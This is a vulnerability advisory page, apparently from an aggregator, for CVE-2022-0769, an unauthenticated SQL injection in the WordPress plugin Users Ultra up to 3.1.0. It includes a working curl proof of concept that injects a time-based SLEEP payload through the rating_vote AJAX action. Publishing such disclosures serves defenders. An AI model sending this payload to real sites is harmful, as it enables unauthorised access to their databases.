Lucene search
CydaveWPEX-ID:05EAB45D-EBE9-440F-B9C3-73EC40EF1141HistoryMar 29, 2022 - 12:00 a.m.
Users Ultra <= 3.1.0 - Unauthenticated SQL Injection
2022-03-2900:00:00
cydave
59
0.024 Low
EPSS
Percentile
89.9%
The plugin fails to properly sanitize and escape the data_target parameter before it is being interpolated in an SQL statement and then executed via the rating_vote AJAX action (available to both unauthenticated and authenticated users), leading to an SQL Injection.
curl https://example.com/wp-admin/admin-ajax.php --data 'action=rating_vote&data_id=1&data_target=vote_score+%3d+1+AND+(SELECT+3+FROM+(SELECT(SLEEP(5)))gwe)--+'Related
cvelist
cvelist
CVE-2022-0769 Users Ultra <= 3.1.0 - Unauthenticated SQL Injection
2022-04-25 15:51:08
patchstack
patchstack
wpvulndb
wpvulndb
Users Ultra <= 3.1.0 - Unauthenticated SQL Injection
2022-03-29 00:00:00
prion
prion
Sql injection
2022-04-25 16:16:00
nuclei
nuclei
Users Ultra <= 3.1.0 - SQL Injection
2023-04-21 08:56:01
nvd
nvd
CVE-2022-0769
2022-04-25 16:16:07
cve
cve
CVE-2022-0769
2022-04-25 16:16:07